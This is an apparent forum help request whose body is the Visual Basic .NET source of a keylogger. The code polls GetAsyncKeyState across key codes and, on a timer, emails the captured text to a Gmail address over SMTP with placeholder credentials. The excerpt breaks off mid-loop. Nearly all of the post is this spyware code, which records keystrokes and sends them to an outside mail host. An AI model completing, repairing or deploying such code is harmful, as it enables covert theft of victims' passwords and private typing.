VB function error help needed!

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Short
    Private Sub SDD_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
        Timer.Interval = 40000
        Timer.Start()
        Dim smtpserver As New Mail.SmtpClient
        smtpserver.EnableSsl = True
        smtpserver.Credentials = New Net.NetworkCredential("email@gmail.com", "###password!")
        smtpserver.Port = 587

        ' 465 yahoo port , Google ports 587
        smtpserver.Host = "smtp.gmail.com"
        'smtp.mail.yahoo.com
        'Configuring our email message
        Dim mail As New Mail.MailMessage
        mail = New Mail.MailMessage

        mail.From = New Mail.MailAddress("email@gmail.com", "subject")
        'Reciever email
        mail.To.Add("email@gmail.com")
        mail.Subject = ("New data ")
        mail.Body = TextBox1.Text
        smtpserver.Send(mail)
        Dim result As Integer
        Dim key As String
        Dim goes As Integer
        For goes = 2 To 900
            result = 0
            result = GetAsyncKeyState(goes)